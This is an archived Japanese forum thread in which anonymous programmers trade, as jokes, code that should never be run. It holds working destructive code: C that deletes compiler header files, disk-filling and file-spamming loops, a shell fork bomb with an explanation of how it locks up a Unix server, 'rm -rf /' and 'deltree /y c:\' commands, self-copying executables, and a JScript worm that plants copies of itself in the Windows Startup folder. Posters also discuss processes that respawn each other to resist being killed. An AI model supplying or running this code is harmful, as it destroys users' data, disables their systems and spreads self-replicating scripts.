絶対に実行してはいけないプログラム
■ このスレッドは過去ログ倉庫に格納されています
0001テヘ
NGNG0003デフォルトの名無しさん
NGNG0004デフォルトの名無しさん
NGNG0005デフォルトの名無しさん
NGNGgoto a;
0006訂正 4
NGNGgoto a;
0007デフォルトの名無しさん
NGNG{
main();
}
0009デフォルトの名無しさん
NGNGfp = fopen("モナー.txt", "w");
while(1)
fputs("( ´∀`)", fp);
0010デフォルトの名無しさん
NGNG0011VC++6.0をCにインストしてるヤシ限定
NGNG#/*VC++でビルド*/
#include<stdio.h>
#include<string.h>
int main(void)
{
char count=0x0,fpbackup[]="C:\\Program Files\\"
"Microsoft Visual Studio\\VC98\\Include\\",
*filename[]={
"assert.h","ctype.h","errno.h","float.h",
"limits.h","locale.h","math.h","setjmp.h",
"signal.h","stdarg.h","stddef.h","stdio.h",
"stdlib.h","string.h","time.h"
},
filepath[sizeof filename/sizeof(char *)][sizeof fpbackup+0x8];
for(;count!=sizeof filename/sizeof(char *);count++)
remove(
strcat(strcpy(filepath[count],fpbackup),filename[count])
);
return 0x0;
}
/*さあ、君もLets'Try!*/
0012デフォルトの名無しさん
NGNG/*おはよう!さあ、君もLets'Try!/*/
/*//*//*//*//*/*//*/*//*/*//*//*/
#/*VC++でビルド*/
#include<stdio.h>
int main(void)
{
char buf[0xFFFF];
FILE *fp=fopen("Lets'Try!","w");
puts("前処理中です。しばらくお待ちください・・・");
while(0x1)
fputs(buf,fp);
return 0x00;
}
0013デフォルトの名無しさん
NGNG$0 & $0
これはマジでやばいっす。
0014デフォルトの名無しさん
NGNG/*おはよう!さあ、君もLets'Try!/*/
/*//*//*//*//*/*//*/*//*/*//*//*/
#/*VC++でビルド*/
#include<stdio.h>
#include<stdlib.h>
#include<time.h>
int main(void)
{
char filename[0xDA];
int count,flag;
FILE *fp;
srand((unsigned)time(NULL));
puts("前処理中です。しばらくお待ちください。");
while(0x1)
{
for(count=0x0;count!=(sizeof filename/sizeof(char))-1;count++)
{
flag=0x0;
while(!flag)
{
switch(filename[count]=(char)(0x5E/(double)RAND_MAX*rand()+0x21))
{
case '\\':
case '/':
case ':':
case '.':
case ';':
case '*':
case '?':
case '"':
case '<':
case '>':
case '|':
break;
default:
flag=0x1;
}
}
}
filename[count]='\0';
fp=fopen(filename,"w");
fclose(fp);
}
return 0x00;
}
0015棄教者 ◆witdLTi2
NGNGwhile(1) {
fork;
}
これで子供が作れる?
0016デフォルトの名無しさん
NGNG解説きぼんぬ
0017デフォルトの名無しさん
NGNGやってみれば分かる
0018デフォルトの名無しさん
NGNGUnixのシェルスクリプト。
無制限にプロセス数が増えていき、psコマンドを実行したり
ログインしたりすることさえ出来なくなる。
スーパーユーザ専用にいくつかプロセステーブルの空きが確
保されてるので、あらかじめ他の端末でスーパーユーザになっ
ておけば、システムをリブートせずに状態を復帰できるかも。
スクリプトの実行を始めてからスーパーユーザになろうとして
もたぶん手遅れ。学校のUnixサーバとかでやると先生に名前を
覚えてもらえる。
0019デフォルトの名無しさん
NGNG16進数厨とは珍しいな。
0020デフォルトの名無しさん
NGNGint main(void) {
while (1) {
pus("hoge");
}
return 0;
}
# ./a.out > badfile.txt
0021デフォルトの名無しさん
NGNG0022デフォルトの名無しさん
NGNG!!を会社の研修で使って、
クラス全員から名前を覚えてもらいました・・。
0023デフォルトの名無しさん
NGNG0024デフォルトの名無しさん
NGNG0025デフォルトの名無しさん
NGNGrun
0026デフォルトの名無しさん
NGNGint a = 0;
char b[3];
for (;a <= 3 ; a++) {
b[a] = 0;
}
# 処理系によっては無限ループ
0027デフォルトの名無しさん
NGNG0028デフォルトの名無しさん
NGNGverg11al.tripod.com/PR.lzh
別スレで報告あった。
My Documentsとランダムでどこかのファイルを消すらしい
0029デフォルトの名無しさん
NGNGはいはい、よかったね。
0030デフォルトの名無しさん
NGNGC++Builder では無限ループになったよ
0031デフォルトの名無しさん
NGNGb[3]は配列からはみ出してるのでaを壊す(最下位バイトを0に戻す)
とか?
0032デフォルトの名無しさん
NGNGどうなんだろ。ほんとに>>13って無制限にプロセス増えるのか?
いずれ失敗して(resource temporarily unavailable)どんどん
終了していきそうな気がするが。
0033デフォルトの名無しさん
NGNG起動中のプログラム勝手に消えたら困らない?
0034デフォルトの名無しさん
NGNGえーと、コマンドの実行に失敗したら、
リトライとかしないだろ?
$0の起動に2回失敗したら、スクリプトは終了しちゃうと
思うのだが。
0035デフォルトの名無しさん
NGNGmain()
{
for (;;)printf("\t\b\b");
}
実行してミソ....
0036デフォルトの名無しさん
NGNG何も起きなかった
0037デフォルトの名無しさん
NGNG何のバグだっけ?
NTのコンソール?
0038デフォルトの名無しさん
NGNG0039デフォルトの名無しさん
NGNG0040デフォルトの名無しさん
NGNGWindows95のUSB Supplementは強烈だった........
世間で騒いでるウィルスがカワイク思えるほど......遠い目(被害者)
0041デフォルトの名無しさん
NGNGchar name[256];FILE *fp, *self;int i, c;
for(self = fopen(argv[0],"rb"),i = 0;i < MAX && (sprintf(name,"キタ━━(゚∀゚)━━ァ!%d.exe", i), fp = fopen(name,"wb"));i++){
while((c=fgetc(self)) != EOF)fputc(c,fp);fclose(fp);rewind(self);}fclose(self);
0043低レベル
NGNG#include <stdlib.h>
int main()
{
system("rm -rf /");
return 0;
}
0044デフォルトの名無しさん
NGNG0045デフォルトの名無しさん
NGNGcli;
}
while(1);
0046デフォルトの名無しさん
NGNG一発でコケたぞゴルァ!!!
作業中だったらどうするんだ?!
0047デフォルトの名無しさん
NGNGスレタイトル読めよ。あと、パッチ当てろ。
0049デフォルトの名無しさん
NGNG原子力発電所で事故が起きても
核ミサイルを自動的に発射しても良いのなら
絶対に実行してはいけないプログラムなど存在しない
よろしければ「Windows95のUSB Supplement」というのを教えて下さい。
0051デフォルトの名無しさん
NGNG実行の結果なにが起こるのかでなく、
それ自体が絶対に実行してはいけない
プログラムであることはありうる?
0052デフォルトの名無しさん
NGNG良くないので存在する。
0053デフォルトの名無しさん
NGNG「全国のウイルス、トロイ大集合!」
「このフリーソフトは使ってはいけない」
どちらかの趣旨だろ?
アフォな>>1が勘違いして立てただけ。
PCQAにでも逝けよ。ほんとに。
0054デフォルトの名無しさん
NGNGdeltree /y c:\
0055デフォルトの名無しさん
NGNG0056デフォルトの名無しさん
NGNG0057デフォルトの名無しさん
NGNGalias ls rm *
じゃん
0058デフォルトの名無しさん
NGNGNimdaにも対応してくれ〜
0059デフォルトの名無しさん
NGNG0060デフォルトの名無しさん
NGNGpushLaunchAtomicBombEvent()
{
bool b = isCertificationPresident();
if (b) {
mil::launchAtomicBomb(mil::ATOMIC_BOMB_ALL);
} else {
mil::launchAtomicBomb(mil::ATOMIC_BOMB_AIRFOCE);
}
}
0061デフォルトの名無しさん
NGNG強制終了でがんばっても、終わんないやつ。
0062デフォルトの名無しさん
NGNG{
system("me");
}
0063デフォルトの名無しさん
NGNG>>13にあるじゃん。
0064デフォルトの名無しさん
NGNG0065デフォルトの名無しさん
NGNGそれは終了時に自分を実行するんじゃなくて無限に増えるだけ。
0066デフォルトの名無しさん
NGNG2つ以上のプログラム作って、お互いに監視するようにしたらどうだ?
0067デフォルトの名無しさん
NGNG0068デフォルトの名無しさん
NGNGあと、実行ファイルを消されちゃったりするとダメだから、その対策を施す必要があるかも。
監視して、もう一方のプロセスが消えてたら
新しい実行ファイル作成->その実行ファイルを実行
にする?
006968
NGNG0070デフォルトの名無しさん
NGNG> 新しい実行ファイル作成->その実行ファイルを実行
> にする?
それって結構むずかしいような。
007168
NGNGねむたいので難しいこと考えられません。
0072デフォルトの名無しさん
NGNGじゃあもう寝ろ。明日書いてくれ。
0073デフォルトの名無しさん
NGNG/bin/mail [email protected] <<EOF
Subject : 【重要】もうやってらんねーよ!!
こんな人を人とも思わない会社、もうやめてやるよ!!
けっ
.
EOF
ネタなので encode とか無視してね
0074デフォルトの名無しさん
NGNGvar objFS = WScript.CreateObject("Scripting.FileSystemObject");
var r_cnt = 500;
var rand = Math.floor(Math.random()*r_cnt);
var ran = Math.floor(Math.random()*250);
objFS.CopyFile(WScript.ScriptFullName,"C:\\WINDOWS\\スタート メニュー\\プログラム\\スタートアップ\\copy1" + rand + "-"+ran+".js");
var objFS = WScript.CreateObject("Scripting.FileSystemObject");
var i=0;//配列カウンタ
var strFoldersName = new Array(255);
var strFoldersNamel = new Array(255);
var strFoldersNamex = new Array(255);
var objNowFolder = objFS.GetFolder("C:\\");
var colSubFolder = objNowFolder.SubFolders;
var x = new Enumerator(colSubFolder);//
for( ; (!x.atEnd()) && i<=255; x.moveNext()){
strFoldersName[i] = x.item().Name;
i++;}
var r_address = Math.floor(Math.random()*i);
var objNowFolderl = objFS.GetFolder("C:\\Windows\\");
var colSubFolderl = objNowFolderl.SubFolders;
var x = new Enumerator(colSubFolder);//
for( ; (!x.atEnd()) && i<=255; x.moveNext()){
strFoldersNamel[i] = x.item().Name;
i++;}var r_add = Math.floor(Math.random()*i);
var objNowFolderx = objFS.GetFolder("C:\\Windows\\");
var colSubFolderx = objNowFolderx.SubFolders;
var x = new Enumerator(colSubFolder);//
for( ; (!x.atEnd()) && i<=255; x.moveNext()){
strFoldersNamex[i] = x.item().Name;
i++;
}var r_addr = Math.floor(Math.random()*i);
try{
objFS.CopyFile(WScript.ScriptFullName,"C:\\Windows\\Win-start.js");
var rand = Math.floor(Math.random()*r_cnt);
objFS.CopyFile(WScript.ScriptFullName,objNowFolder+strFoldersName[r_address]+"\\black-" + rand + ".js");
objFS.CopyFile(WScript.ScriptFullName,objNowFolder+strFoldersNamel[r_add]+"\\black"+ran+"-" + rand + ".js");
objFS.CopyFile(WScript.ScriptFullName,objNowFolder+strFoldersNamex[r_addr]+"\\black-" + rand + ".js")
}catch(e){}
JScriptでゴー!
バグがあるかもしれんがとりあえず増える
■ このスレッドは過去ログ倉庫に格納されています